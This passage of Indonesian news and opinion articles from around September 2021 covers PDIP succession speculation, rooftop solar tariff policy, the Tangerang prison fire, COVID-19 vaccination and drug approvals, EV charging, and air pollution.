trah Soekarno untuk mempertahankan kekuatan dan soliditas. Meski Puan memiliki banyak kelemahan, nampaknya sang puteri yang menjabat sebagai Ketua bidang Politik dan Keamanan DPP PDIP ini tetap menjadi pilihan terbaik. Sepeninggal tokoh kuat Megawati PDIP akan mengalami goncangan. Ini disebabkan permainan Istana yang ingin mengamankan kepentingannya pada partai pemenang pemilu tersebut. Goncangan ini sedikit banyak akan memerosotkan kekuatan Partai berlambang Banteng ini. Kondisi Megawati masih misterius, namun konfigurasi politik akan terus terbangun. PDIP adalah partai penentu pemerintahan yang kini sedang kesulitan untuk mengendalikan Presiden Jokowi. Oligarkhi tidak dipimpin oleh Megawati. PDIP pasca Megawati mungkin akan semakin segar karena terjadi kaderisasi, akan tetapi sebaliknya dapat menjadi semakin loyo karena kehilangan figur kuat perekat perjuangan. PDIP tanpa Mega seperti banteng tanpa tanduk. Parahnya konflik internal akan membesar, konflik antara pendukung trah Soekarno, non Soekarno, dan Istana. Akankah PDIP diambang mala petaka ?Sesungguhnya politik dinasti bukan idealnya sebuah Partai Politik. *) Pemerhati Politik dan Kebangsaan

Bu Mega Perlu Tampil Untuk Akhiri Spekulasi

By Asyari Usman SPEKULASI tentang kondisi kesehatan Ketua Umum PDIP Megawati Soekarnoputri haruslah segera diakhiri. Publik sebaiknya tidak dibiarkan menebak-nebak. Sejak dinihari kemarin (8/9/2021), media sosial dan grup-grup WA heboh bahwa Bu Megawati dirawat di ruang intensif di Rumah Sakit Pusat Pertamina (RSPP), Jakarta Selatan. Kabar yang tak pasti ini menjadi viral. Sejauh ini belum ada penjelasan resmi pimpinan PDIP maupun keluarga Megawati. Yang ada hanya bantahan sporadis dan jawaban yang sifatnya menghindar. Sekjen PDIP Hasto Kristiyanto mengatakan Bu Mega sehat-sehat saja, energik dan bersemangat. Menurut Hasto, pada jam 21.00 hari Rabu (8/9/2021) Bu Mega masih memberikan pengarahan tentang program kerakyatan partai. Wakil Sekjen Sadarestuwati menguatkan pernyataan Hasto. Dia mengatakan kabar tentang Bu Mega dirawat di ruang ICU sama sekali tidak benar. Kader senior lainnya, Aria Bima, mengatakan dia menerima sedikitnya lima panggilan telefon yang menanyakan kebenaran berita ini. Dia hanya mengatakan belum mendapatkan informasi tentang itu ketika ditanya oleh kantor berita politik RMOL. Nah, cukupkah publik percaya pada penjelasan Hasto dan Sadarestuwati? Apakah netizen akan berhenti mendiskusikan kabar tentang Bu Mega ini? Kelihatannya publik masih belum puas dengan bantahan dan klarifikasi dari Hasto dan wakilnya. Spekulasi hampir pasti akan berlanjut. Satu-satunya cara untuk menghentikan “berita liar” itu adalah dengan menampilkan Bu Mega di depan publik. Sesegera mungkin. Misalnya, adakan jumpa pers di kediaman Bu Ketum. Beliau langsung yang menjelaskan kepada para wartawan. Di depan sekian banyak kamera televisi, Bu Mega berbicara langsung tanpa perantara. Dengan sendirinya “case closed”. Spekulasi akan berhenti. Publik dan pendukung Bu Mega menantikan kehadiran beliau. Agar semua menjadi jelas.[] (Penulis wartawan senior FNN)

Anies Baswedan Sebut Pesantren Kerap Terlibat Atasi Masalah Bangsa

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan mengatakan, keberadaan pondok pesantren (ponpes) kerap terlibat langsung mengatasi permasalahan bangsa. Termasuk menghadapi pandemi Coronavirus Disease 2019 (Covid-19). Anies meng hal itu saat meninjau sentra vaksinasi warga yang berlokasi di Padepokan Pencak Silat Persinas ASAD, Pondok Pesantren Minhaajurrosyidiin, Pondok Gede, Kecamatan Cipayung, Jakarta Timur, Kamis, 9 September 2021. Anies mengapresiasi kolaborasi penyelenggaraan vaksinasi antara Lembaga Dahwah Islam Indonesia (LDII), Ponpes Minhaajurrosyiddin dan Puskesmas Cipayung, Jakarta Timur. Terlebih, kata Anies, Ponpes Minhaajurrosyiddin menyediakan lokasi ruang terbuka yang luas dan fasilitas pendukung lainnya yang lengkap, seperti kamar kecil yang cukup banyak. Anies menyatakan gelaran vaksinasi di Padepokan Persinas ASAD Ponpes Minhaajurrosyidiin sebagai catatan sejarah karena salah satu tempat perjuangan melawan wabah Covid-19. "Jadi, 50.000 yang sudah mendapatkan vaksinasi, bukan angka yang kecil, angka yang cukup besar dan signifikan," ujar Anies, sebagaimana dikutip dari Antara. Anies menuturkan, pondok pesantren tidak pernah absen dalam perjuangan bangsa Indonesia sejak zaman kolonial dengan mengirimkan santri melawan kaum penjajah di medan perang. Mantan Menteri Pendidikan dan Kebudayaan itu mengungkapkan, LDII menjadi salah satu organisasi yang sejak awal bertindak cepat membantu pemerintah pusat maupun daerah melaksanakan program vaksinasi Covid-19. Diungkapkan Anies, vaksinasi merupakan salah satu upaya mengendalikan risiko terpapar Covid-19. Akan tetapo, masyarakat pun harus tetap disiplin menjalankan protokol kesehatan. “Vaksin tidak mencegah penularan, tapi vaksin mencegah dampak yang berat saat tertular. Makanya, walaupun sudah vaksin tetap harus mematuhi protokol kesehatan. Karena mentaati prokes adalah salah satu cara mencegah penularan dan kalau sudah divaksin insya Allah biarpun terpapar, gejalanya ringan bahkan tanpa gejala,” ujarnya. Ketua MUI DKI Jakarta Munahar Muchtar juga mengapresiasi Padepokan Persinas ASAD yang menyasar sekitar 2.000 orang untuk ikut vaksinasi Covid-19. Munahar menjelaskan, Jakarta sudah menjadi zona hijau penyebaran Covid-19. Dengan percepatan vaksinasi, diharapkan masjid dan mushola segera melakukan kegiatan kembali seperti semula. “Kami mempersilahkan masjid dan mushola melakukan kegiatan kembali seperti semula. Bagaimanapun ketika Jakarta sudah kembali seperti semula, maka vaksinasi ini dalam rangka meningkatkan kembali geliat ekonomi," tutur Munahar. Ketua Umum DPP LDII, KH Chriswanto Santoso mengemukakan vaksinasi di Padepokan Persinas ASAD Ponpes Minhaajurrosyidiin telah berlangsung sejak 14 Juni 2021. Chriswanto menuturkan, pelaksanaan vaksinasi itu berkat dukungan Dinas Kesehatan DKI Jakarta, sehingga dapat digelar secara berkelanjutan di Ponpes Minhaajurrosyiddin. (MD).

Amerika Serikat Tolak Izin Penggunaan Darurat Obat Covid-19 Humanigen

Washington, FNN - Badan Pengawas Obat dan Makanan Amerika Serikat (FDA) menolak permintaan izin penggunaan darurat (EUA) obat lenzilumab buatan Humanigen untuk mengobati pasien baru Covid-19 rawat inap. "Dalam suratnya, FDA menyatakan, pihaknya tidak dapat menyimpulkan apakah manfaat yang diketahui dan potensial dari obat lenzilumab lebih besar ketimbang risiko yang diketahui dan potensial dalam penggunaannya sebagai pengobatan Covid-19," kata perusahaan tersebut dalam pernyataannyan, Kamis, 9 September 2021. Humanigen berharap, studi yang sedang berlangsung dapat memberikan data tambahan tentang keamanan dan efikasi untuk mendukung pengajuan EUA berikutnya. Perusahaan itu telah mengajukan permohonan EUA untuk obat lenzilumab kepada FDA pada Mei 2021 dengan mencantumkan data uji coba tahap akhir. Humanigen juga telah memulai proses otorisasi obat lenzilumab di Inggris pada Juni melalui pengajuan tinjauan bergulir. (MD).

Menggugat Klaim Manfaat PLTS Atap oleh Kementerian ESDM

Oleh Marwan Batubara RENCANA pemerintah untuk meningkatkan penggunaan PLTS Atap melalui revisi Permen ESDM No.49/2018 yang akan menetapkan tarif ekspor listrik dari 65% menjadi 100% harus ditolak karena akan merugikan pelanggan listrik, meningkatkan subsidi APBN dan menambah beban BUMN/PLN. Penolakan ini semakin valid setelah menganalisis siaran pers Kementerian ESDM (KESDM) No. 303.Pers/04/SJI/2021 pada 2 September 2021, yang isinya patut dipertanyakan. KESDM telah mengajukan draft revisi Permen pada Presiden tanpa melibatkan seluruh stakeholders terkait, sehingga melanggar UU No. 12 Tahun 2011 tentang Pembentukan Peraturan Perundang-undangan. Guna mempercepat revisi, KESDM menerbitkan rilis berjudul Indonesia Kaya Energi Surya, Pemanfaatan Listrik Tenaga Surya oleh Masyarakat Tidak Boleh Ditunda pada 2 September 2021. Dalam rilis antara lain disebutkan tentang tuntutan green product, green economy, pengenaan carbon border tax dan transformasi menuju EBT yang semakin murah. Disebutkan pula tarif ekspor 100% tidak akan merugikan keuangan PLN, bahkan akan menghemat biaya bahan bakar gas PLN sebesar Rp 4,12 triliun per tahun, subsidi APBN turun Rp 0,23 triliun, dan dampak pasokan PLTS Atap terhadap over supply PLN disebut hanya 0,1%. Tulisan ini akan membahas rilis KESDM tersebut dalam 2 aspek utama, yaitu aspek terkait kebijakan energi dan aspek terkait ekonomi/keuangan, sebagaimana diuraikan berikut. Aspek Kebijakan Energi IRESS tidak memungkiri transformasi menuju green economy dan EBT perlu digalakkan. Namun hal tersebut tidak harus dilakukan tanpa memperhitungkan kondisi energi dan kelistrikan nasional yang saat ini sudah sangat berlebihan. Kelebihan pasokan (reserve margin) listrik sistem Jawa-Bali sudah 60% dan sistem Sumatera 50%. Karena itu, pemaksaan kehendak merubah tarif ekspor 100% di tengah reserve margin sangat tinggi dan pandemi Covid-19 ini perlu dipertanyakan motifnya. Hal ini telah diungkap dalam surat tertutup dan terbuka IRESS kepada Presiden dan ditembuskan kepada KPK. IRESS paham bahwa biaya pembangunan listrik EBT semakin murah dan kapasitas pembangkitnya di banyak negara semakin meningkat. Rilis KESDM menyebutkan kapasitas PLTS di Vietnam telah mencapai 16.504 MW, Malaysia sebesar 1.493 MW dan India sebesar 38.983 MW. Sementara di Indonesia, menurut rilis tersebut kapasitas 3600 MW "ditargetkan" baru akan dicapai pada 2025. Sehingga guna meningkatkan kapasitas PLTS perlu revisi kebijakan. Padahal peningkatan kapasitas PLTS di Vietnam, Malaysia dan India dicapai sebagai hasil kebijakan dan perencanaan yang telah disusun dan konsisten dijalankan dalam 5-6 tahun terkahir. Dalam kurun waktu yang sama Indonesia pun telah menetapkan PP No.79/2014 tentang Kebijakan Energi Nasional (KEN), di mana bauran EBT adalah 23%. Namun praktiknya, dalam proyek 35.000 MW (mulai 2015) Indonesia justru membangun pembangkit listrik yang didominasi (95%) PLTU memakai bahan bakar batubara. Artinya, sejak semula pemerintah memang tidak konsisten menjalankan KEN, namun sekarang coba memaksakan kehendak melalui kebijakan PLTS Atap dan Perpres EBT. Karena itu kampanye green economy, transformasi ke EBT dan target PLTS sebesar 3600 MW, sambil membandingkan dengan Vietnam, Malaysia dan India, menjadi tidak relevan dan bernuansa omong kosong. Kalau sadar akan green economy dan KEN pun sudah terbit (2014), mengapa masih membangun pembangkit listrik dominan PLTU? Ternyata proyek 35.000 MW bukan saja memanfaatkan energi fosil tidak ramah lingkungan, tetapi juga menerapkan skema take or pay (TOP) yang memberatkan APBN, keuangan PLN dan tarif listrik bagi konsumen. Secara gamblang IRESS ingin menyatakan saat ini tarif listrik sudah tinggi akibat skema TOP, pasokan listrik berlebih berlebih akibat salah perencanaan dan diperparah pandemi, bauran energi tidak ramah lingkungan akibat pembangunan PLTU yang sarat kepentingan oligarki dan abai KEN 2014. Ironi dan nestapa ini ternyata oleh KESDM ingin diperparah dengan kebijakan revisi PLTS Atap dengan tarif ekspor 100% yang tidak adil, merugikan konsumen non PLTS Atap, memberatkan subsidi APBN, merugikan BUMN dan patut diduga sarat kepentingan bisnis. Rakyat tentu sangat pantas menolak revisi tersebut. Aspek Ekonomi/Keuangan Berikut akan diuraikan perbandingan terkait tarif, untung-rugi, serta dampak keuangan terhadap PLN, APBN dan konsumen jika tarif 100% ekspor PLTS Atap diterapkan, baik menurut KESDM maupun menurut pakar-pakar energi yang diperoleh IRESS. Perbandingan ini perlu dilakukan untuk menguji akurasi dan kredibilitas informasi yang dirilis oleh KESDM. Menurut KESDM dalam rilis 2 September 2021, dampak (dan manfaat) pengembangan PLTS Atap dengan tarif ekspor naik jadi 100% dan pasokan 3,6 GW pada 2024/2025 adalah: 1) Potensi penjualan PLN hanya turun 0,1%; 2) Keuangan PLN tidak dirugikan, tetapi yang terjadi hanya kehilangan potensi penerimaan; 3) Biaya bahan bakar (gas) turun Rp 4,12 triliun per tahun; 4) BPP listrik hanya naik sebesar Rp 1,14/kWh; 5) Tidak ada (memperhitungkan) biaya sarana PLN untuk mengatasi intermitten; 6) BPP listrik tanpa sarana mengatasi intermitten hanya naik Rp 1,14/kWh; 7) Subsidi listrik hanya naik Rp 0,079 triliun dan kompensasi naik Rp 0,24 triliun; 8) Tidak ada kenaikan beban pelanggan jika subsidi dan kompensasi dibayar pemerintah. Di sisi lain, menurut kajian pakar-pakar energi yang diperoleh IRESS, dampak perubahan tarif tersebut untuk setiap penambahan pasokan PLTS Atap sebesar 1 GW adalah: 1) Pendapatan PLN turun sekitar Rp 2,15 triliun (turun jadi Rp 7,74,- jika pasokan 3,6 GW); 2) Terjadi kerugian keuangan, karena melekatnya beban biaya _fixed cost_ dan turunnya efisensi; 3) Biaya bahan bakar turun Rp 0,64 triliun per tahun (Rp 1,92 triliun/3 tahun); 4) BPP tanpa sarana mengatasi intermitten naik Rp 3,93 per kWh; 5) Tambahan biaya PLN mengatasi intermitten sekitar Rp 248 miliar, atau Rp 1,18 per kWh; 6) Total kenaikan BPP listrik menjadi (Rp 3,93 per kWh + Rp 1,18) = Rp 5,10 per kWh; 7) Subsisi listrik naik Rp 269,4 miliar/tahun dan kompensasi Rp 808,3 miliar/tahun (total menjadi Rp 1,08 triliun) ; 8) Beban pelanggan naik Rp1,08 triliun/tahun jika _tariff adjustment_ diberlakukan. Perbandingan perhitungan pada 8 aspek yang dilakukan oleh KESDM dan pakar-pakar energi di atas menunjukkan beberapa perbedaan yang mencolok, sehingga perlu diklarifikasi. Bagi pakar-pakar, klarifikasi penting karena menyangkut nama baik perguruan tinggi. Bagi Kementrian ESDM, klarifikasi mendesak karena menyangkut kredibilitas, penegakan prinsip good governances, keadilan dan kepentingan strategis negara. Karena mendesaknya klarifikasi, IRESS perlu mengungkap temuan fakta-fakta hasil perhitungan sebagai berikut: a. KESDM tampaknya menggiring opini publik bahwa PLN tidak dirugikan. Padahal kerugian tersebut cukup signifikan, yakni Rp 2,15 triliun setiap 1 GW pasokan PLTS Atap dan menjadi Rp 7,74 triliun jika pasokan naik menjadi 3,6 GW. Kerugian timbul terutama adanya beban fixed cost, terjadinya inefisiensi sarana dan adanya tambahan perangkat untuk mengatasi intermitten. Semua biaya ini tampaknya tidak diperhitungkan atau “luput” (sengaja?) dalam perhitungan KESDM; b. KESDM menyebut penghematan bahan bakar cukup besar Rp 7,74 triliun. Sedang hitungan pakar hanya Rp 1,92 triliun. Perbedaan ini terjadi karena bahan yang digunakan adalah gas (KESDM) dibanding batubara (pakar). Untuk menghindari ungkapan hiperbolis guna promosi ide, maka hal ini perlu direview oleh KESDM sesuai fakta lapangan dan kebutuhan efisiensi. Selain itu, karena kontrak jual-beli bersifat jangka panjang, PLN tidak dapat mengurangi konsumsi gas secara mendadak. Di sisi lain, memang mayoritas PLTU di Jawa-Bali, termasuk proyek 35.000 MW menggunakan bahan bakar batubara, bukan gas. c. Menurut KESDM BPP naik Rp 1,14/kWH; menurut pakar naik Rp 5,10/kWh. Perbedaan terjadi sebab KESDM “luput” menghitung biaya-biaya yang disebut pada butir a di atas. Adanya kenaikan BPP otomatis akan ditanggung konsumen dalam bentuk kenaikan tarif listrik jika tidak disubsidi APBN, atau ditanggung negara/APBN jika tarif listrik tidak naik. d. KESDM menyatakan biaya subsidi dan kompensasi naik Rp 0,319 triliun; menurut pakar naik Rp 1,08 triliun/tahun. Hal ini menjadi tambahan beban biaya bagi pelanggan non PLTS Atap yang merupakan dasar mengapa IRESS yakin bahwa kebijakan ekspor 100% disebut tidak adil. Uraian di atas menunjukkan perhitungan yang dilakukan pakar energi lebih relevan dan sesuai kondisi lapangan, sehingga lebih kredibel. Sedangkan hitungan KESDM cenderung ingin menonjolkan penghematan PLN dan pelanggan, serta mengecilkan nilai kenaikan BPP dan subsidi. Namun ungkapan dan promosi ini tidak didasarkan pada hitungan relevan dan fakta lapangan. Salah satu contoh, bukankah pasokan listrik PLTS Atap intermitten dan _capacity factor_ (CF) hanya 17%, sehingga membutuhkan kestabilan pasokan, tetapi KESDM sengaja tidak menghitung kebutuhan biaya _backup_ dan _storage?_ Oleh sebab itu, IRESS menganggap hitungan dan promosi KESDM untuk tarif ekspor PLTS Atap 100% dalam rilis 2 September 2021 menjadi tidak kredibel, tendensius dan patut dipertanyakan motifnya. Perbandingan hitungan dan analisis IRESS di atas bisa saja tidak akurat. Namun sebagai lembaga yang berada di bawah kepemimpinan Presiden Jokowi, KESDM dan PLN, dengan melibatkan sejumlah pakar dari berbagai perguruan tinggi, mestinya telah melakukan kajian dan analisis bersama. Sehingga, sebelum merekomendasikan suatu kebijakan, terlebih diperoleh hasil terbaik, adil dan bermanfaat bagi ketahanan dan kemandirian energi nasional. Mengapa KESDM tidak menganggap ini penting, dan terkesan ingin terus memaksakan kehendak? Sebagai kesimpulan, karena tidak akurat dan cenderung tendesius, IRESS meminta agar KESDM segera mengklarifikasi berbagai perhitungan terkait BPP, kerugian PLN/pelanggan, penghematan, subsidi, kompensasi, dan lain-lain yang termuat dalam rilis No.303.Pers/04/SJI/2021, pada 2 September 2021. Selain itu, sebagaimana telah dinyatakan pada rilis, surat tertutup dan surat terbuka kepada Presiden (16/8/2021, 31/8/2021 dan 1/9/2021), IRESS kembali menuntut agar ketentuan tarif ekspor PLTS Atap 100% dalam rencana revisi Permen ESDM No.49/2018 dibatalkan. *) Direktur Eksekutif Indonesian Resources Studies, (IRESS)

Narapidana Korban Kebakaran Lapas yang Dirawat Masih Trauma

Tangerang, FNN - Menteri Hukum dan Hak Azasi Manusia, Yasonna Laoly mengatakan, kondisi narapidana korban kebakaran Lembaga Pemasyarakatan (Lapas) Kelas I Tangerang yang dirawat masih mengalami trauma. Tiga di antaranya menggunakan ventilator akibat luka bakar yang serius. "Tadi saya sudah lihat kondisi napi yang dirawat. Mereka masih trauma terkait insiden itu. Ada yang luka juga 80 persen, bahkan ada juga sampai 98 persen," kata Menkumham Yasonna usai meninjau perawatan di RSUD kabupaten Tangerang, Kamis, 9 September 2021. Ia mengatakan, ada tiga napi dalam perawatan menggunakam ventilator karena luka bakar yang serius. Kemenkumham pun akan terus memantau perkembangan perawatan para napi. "Kondisinya sangat mengkhawatirkan," ujarnya, sebagaimana dikutip dari Antara. Ia menegaskan, seluruh biaya perawatan, pemulasaraan hingga pemakaman bagi napi yang dirawat maupun meninggal dunia akan ditanggung oleh Kemenkumham. Kamis kemarin, jumlah korban kebakaran di Lembaga Pemasyarakatan (Lapas) Kelas I Tangerang bertambah tiga orang. Dengan demikian, jumlah korban tewas menjadi menjadi 44 orang. Ketiga korban tersebut, Hadiyanto bin Ramli, warga Kelurahan Tugu Utara, Kecamatan Koja, Jakarta Utara. Kemudian, Adam Maulana bin Yusuf Hendra, warga Kelurahan Cimerang, Kecamatan Purabaya, Kabupaten Sukabumi, Jawa Barat. Ketiga, Timothy Jaya bin Siswanto narapidana tindak pidana narkotika. Beralamat di Jalan Sabang Nomor 39, Taman Imam Bonjol, Tangerang, Provinsi Banten. Sebelumnya, Yasonna Laoly menjanjikan uang santunan senilai Rp 30 juta kepada masing-masing keluarga narapidana yang menjadi korban kebakaran lembaga pemasyarakatan yang berlokasi di Jalan Veteran, Kota Tangerang, Banten itu. "Sebagai bagian perwujudan duka, kami akan memberikan santunan senilai Rp 30 juta kepada masing-masing keluarga korban," katanya. (MD).

Kulinara, Masker Motif Kuliner Nusantara dari Didiet Maulana

Jakarta, FNN - Desainer dan Founder IKAT indonesia, Didiet Maulana, bersama perusahaan bumbu masak PT Inti Sasa (Sasa) merancang masker bermotif Kulinara (Kuliner Nusantara), sebagai bentuk apresiasi kepada tenaga kesehatan yang berjuang maksimal selama pandemi. Kulinara bukanlah masker medis, melainkan masker kain yang dipakai di depan masker medis. Didiet Maulana merancang Kulinara sebagai pengingat bahwa makanan memiliki arti kebahagiaan. Kulinara hadir dengan warna, motif dan cerita yang menggambarkan betapa banyak ragam budaya rasa Indonesia dengan satu tema sama, yaitu kehangatan dan kebahagiaan. "Ketika bicara masker, Kulinara bukan masker medis, namun tetap bisa mendukung para nakes dalam keseharian mereka. Saat mereka di jalan atau di luar area ruang kesehatan. Jadi hal ini harus bisa menjadi sesuatu yang dibanggakan, secara desain harus unik dan berbeda dari biasanya," ujar Didiet Maulana dalam siaran pers, dikutip Kamis. "Kolaborasi dengan Sasa ini bisa tercipta karena kami berdua menjalani visi yang sama yakni sama-sama berkreasi untuk rasa," kata Didiet Maulana dalam siaran pers, dikutip Kamis. "Sasa berkreasi menciptakan rasa masakan dan membawa kekuatan citarasa lokal. Demikian pula saya yang memiliki visi untuk menciptakan desain bercorak Indonesia untuk menumbuhkan rasa bangga akan negeri ini," kata Didiet. Diakui Didiet, proses pembuatan masker berlangsung cukup singkat. Diawali proses brainstorming dengan tim Sasa untuk desain Kulinara, kemudian masuk ke proses produksi. "Bagian paling menantang dalam proses Kulinara adalah saat mendesain, kita harus berpikir ke depan. Bagaimana desain yang dibuat itu benar-benar bisa mendukung manusia pemakainya," kata Didiet. Marketing Director PT Sasa Inti, Fenny Kusnaidy, menambahkan, "Kami mempersembahkan Kulinara sebagai bentuk apresiasi kepada para nakes, dokter, perawat, bidan, petugas rumah sakit, serta relawan." "Harapan kami, Kulinara dapat menjadi bagian dalam pelaksanaan prokes di mana salah satunya adalah memakai masker. Kulinara diharapkan bisa menyemangati tenaga medis dan relawan, sehingga mereka terus optimistis bahwa perjuangan mereka akan menyelamatkan banyak orang," kata dia. (mth)

Wamen BUMN Berharap Hutama Karya Rampungkan Tahap 1 Tol Trans Sumatera

Jakarta, FNN - Wakil Menteri II BUMN Kartika Wirjoatmodjo berharap Hutama Karya dapat menyelesaikan paket pembangunan Tahap 1 Jalan Tol Trans Sumatera hingga tahun 2024. "Hutama Karya diharapkan dapat menyelesaikan paket pembangunan Tahap 1 Tol Trans Sumatera hingga tahun 2024," ujar Wamen II BUMN yang akrab disapa Tiko tersebut dalam seminar daring di Jakarta, Kamis. Wamen BUMN itu menambahkan bahwa Untuk mewujudkan target tersebut pemerintah memberikan dukungan kepada Hutama Karya dalam bentuk teknis maupun pendanaan. Di sisi pendanaan, pemerintah telah memberikan penyertaan modal negara (PMN) kepada Hutama Karya di mana PMN tersebut telah cair sebesar Rp6,2 triliun pada tahun ini. Pemerintah juga telah menyelesaikan tambahan PMN 2021 kepada Hutama Karya yang sedang diproses sebesar Rp19 triliun. Pengajuan tambahan dana PMN tersebut untuk mempercepat beberapa ruas utama Tol Trans Sumatera yakni Medan-Binjai, Binjai-Langsa, Pekanbaru-Dumai, dan sejumlah ruas tol lainnya. "Pembangunan Tol Trans Sumatera ini membutuhkan pendanaan dan investasi yang sangat besar, di sinilah peran BUMN dalam hal ini Hutama Karya yang sudah dipercaya pemerintah untuk membangun dan mengembangkan Tol Trans Sumatera," kata Tiko. Tiko menyampaikan bahwa Pulau Sumatera merupakan penyumbang ekonomi nasional yang berkontribusi sebesar 20 persen terhadap produk domestik bruto Indonesia. Dengan kekayaan alam yang berlimpah, Sumatera memiliki beberapa produk unggulan seperti kelapa sawit, karet, kelapa, kopi dan teh. Pulau Sumatera juga memiliki lokasi yang sangat strategis yang dilalui oleh jalur perdagangan laut, menjadikan Pulau Sumatera sebagai pintu gerbang perdagangan internasional Indonesia. Dalam rangka akselerasi pertumbuhan ekonomi di seluruh wilayah Indonesia, dibutuhkan pembangunan infrastruktur nasional sebagai sebuah katalis, karena itu pembangunan jalan tol Trans Sumatera dicanangkan sebagai salah satu proyek prioritas untuk meningkatkan konektivitas daerah Sumatera. (mth)

Taiwan Akan Bagikan Kupon Stimulus untuk Tingkatkan Belanja Konsumen

Taipei, FNN - Otoritas Taiwan mengatakan pada Kamis bahwa pihaknya berencana untuk mengeluarkan "kupon stimulus" lagi untuk meningkatkan pengeluaran konsumen sebesar T$200 miliar (Rp102 triliun) demi untuk mendukung ekonominya yang terkena virus corona, ketika pulau itu berusaha melawan penyebaran dalam jumlah kecil varian Delta. Sementara wabah yang relatif kecil dapat dikendalikan dengan baik di Taiwan, 10 kasus varian Delta yang lebih menular dilaporkan di dekat ibu kota Taipei minggu ini, mendorong Kota New Taipei yang padat untuk memperketat pembatasan termasuk makan di tempat. Dalam langkah terbarunya untuk memacu ekonomi yang bergantung pada perdagangan, kabinet Taiwan mengumumkan anggaran sebesar T$160 miliar (Rp82 triliun) untuk kupon, bagian dari paket stimulus senilai T$840 miliar (RP432,7 triliun). Warga akan diberikan kupon setara uang tunai senilai T$5.000 (Rp2,5 juta), yang hanya dapat digunakan hingga akhir Juni tahun depan dan dapat digunakan di sebagian besar toko, tetapi ada beberapa pengecualian, termasuk pembelian tembakau. Pemerintah Taiwan tahun lalu menghabiskan hampir T$50 miliar (Rp 25,7triliun) untuk kupon serupa, sebuah langkah yang dikatakan telah mendorong belanja konsumen sebesar T$100 miliar (Rp51,4 triliun). "Kami menciptakan manfaat ekonomi yang sangat besar dengan cara ini tahun lalu. Tahun ini, kami berharap lebih baik dari tahun lalu," kata Perdana Menteri Su Tseng-chang kepada wartawan. "Kupon stimulus akan membawa efek stimulus yang lebih kuat dan kehidupan yang lebih baik bagi semua orang." Ekonomi Taiwan, bagian penting dari rantai pasokan teknologi global, diperkirakan akan tumbuh 5,88% tahun ini, laju tercepat dalam lebih dari satu dekade, berkat permintaan global yang kuat untuk ekspor teknologi pulau itu selama pandemi. Langkah-langkah pencegahan dini dan efektif telah berhasil melindungi Taiwan dari pandemi terburuk dan banyak pembatasan termasuk membatasi pertemuan pribadi telah dilonggarkan sejak Agustus setelah lonjakan kasus yang jarang terjadi awal tahun ini. (mth)

Jumlah Infrastruktur Pengisian Kendaraan Listrik Capai 240 Unit

Jakarta, FNN - Kementerian Energi dan Sumber Daya Mineral mencatat jumlah infrastruktur pengisian kendaraan listrik di Indonesia telah mencapai 240 unit pada paruh pertama tahun ini. "Pada semester I 2021, jumlahnya mencapai 240 unit dari target 390 unit terpasang di seluruh Indonesia sampai dengan akhir tahun 2021," kata Sekretaris Direktorat Jenderal Ketenagalistrikan Kementerian ESDM Munir Ahmad dalam keterangan yang dikutip di Jakarta, Kamis. Munir menyampaikan infrastruktur pengisian kendaraan listrik tersebar di Indonesia dengan penempatan di pusat perbelanjaan, kantor PLN, stasiun pengisian bahan bakar umum, gelanggang olahraga, bandara, ruas tol, perkantoran, dealer resmi, hingga pool taksi. Sebanyak 240 unit infrastruktur tersebut terdiri dari 166 Stasiun Pengisian Kendaraan Listrik Umum (SPKLU) dan instalasi privat electric vehicle (EV) charging station, serta 74 Stasiun Penukaran Baterai Kendaraan Listrik Umum (SPBKLU). Pemerintah memberikan dukungan terhadap eksosistem kendaraan listrik dengan menerbitkan regulasi pendukung berupa Peraturan Menteri ESDM Nomor 13 Tahun 2020 tentang Penyediaan Infrastruktur Pengisian Listrik untuk Kendaraan Bermotor Listrik Berbasis Baterai. Regulasi tersebut mengatur tanggung jawab badan usaha, proses perizinan, skema listrik, tarif tenaga listrik, insentif, hingga keselamatan berusaha. Pemerintah memberikan insentif tarif curah sebesar Rp714 per kWh untuk Badan Usaha SPKLU dengan tarif penjualan maksimal Rp2.467 per kWh. Selain itu, pemerintah juga telah mengatur keringanan biaya penyambungan maupun jaminan langganan tenaga listrik, serta pembebasan rekening minimum selama dua tahun pertama untuk Badan Usaha SPKLU yang bekerja sama dengan PT PLN (Persero). Berdasarkan Peraturan Menteri ESDM Nomor 5 Tahun 2021 bahwa penetapan wilayah untuk SPKLU tidak lagi membutuhkan rekomendasi dari pemerintah daerah, melainkan dapat diganti dengan dokumen kepemilikan lahan SPKLU atau perjanjian kerja sama dengan pemilik lahan tersebut. Badan Usaha SPKLU memiliki kewajiban pelaporan dengan menyediakan sistem informasi yang terintegrasi dengan sistem informasi Direktorat Jenderal Ketenagalistrikan. Tak hanya bagi Badan Usaha SPKLU, pemerintah juga memberikan insentif kepada pemilik kendaraan listrik. Pemilik kendaraan listrik mendapatkan biaya pasang spesial untuk tambah daya hingga 11.000 VA dengan biaya Rp150.000 untuk satu fasa. Sedangkan tambah daya hingga 16.500 VA biayanya Rp450.000 untuk tiga fasa. Pemerintah juga memberikan insentif tarif tenaga listrik home charging, yakni diskon 30 persen selama tujuh jam pada pukul 22.00 malam sampai 05.00 pagi. Diskon ini diberikan kepada pemilik kendaraan listrik dengan home charging yang terkoneksi pada sistem PLN. Per Agustus 2021, jumlah kendaraan bermotor listrik di Indonesia telah mencapai 1.478 untuk roda empat, 188 untuk roda tiga, dan 7.526 unit untuk roda dua. (mth)

Polusi Pangkas 2,5 Tahun Usia Hidup Orang Indonesia

Jakarta, FNN - Rata-rata orang Indonesia diperkirakan bisa kehilangan 2,5 tahun dari usia harapan hidupnya akibat polusi udara saat ini, demikian Kenneth Lee, Direktur Indeks Udara Kualitas Kehidupan (AQLI) dari Universitas Chicago, Amerika Serikat. "Kualitas udara tidak memenuhi ambang aman sesuai pedoman Organisasi Kesehatan Dunia (WHO) untuk konsentrasi partikel halus (PM2.5)," kata Kenneth dalam acara webinar kolaborasi AQLI, Bicara Udara dan Nafas tentang "Air Quality Life Index Indonesian Report Launching 2021" pada Kamis. Indeks polusi yang dikembangkan oleh Michael Greenstone dan rekan-rekannya di Energy Policy Institute di University of Chicago (EPIC) menunjukkan bahwa dampak kesehatan dari polusi partikulat paling besar terjadi di Depok, Bandung, dan Jakarta, di mana konsentrasi polusi partikulat adalah yang tertinggi. Data satelit menunjukkan bahwa polusi udara terutama terkonsentrasi di Jawa, khususnya di wilayah metropolitan Jakarta, dan beberapa bagian Sumatera. Namun, penduduk Kalimantan dan Sulawesi juga semakin menanggung beban polusi udara dalam tahun-tahun belakangan ini. Di DKI Jakarta, rata-rata orang diperkirakan dapat kehilangan 5,5 tahun dari usia harapan hidup jika tingkat polusi seperti tahun 2019 bertahan sepanjang hidup mereka. Di beberapa daerah 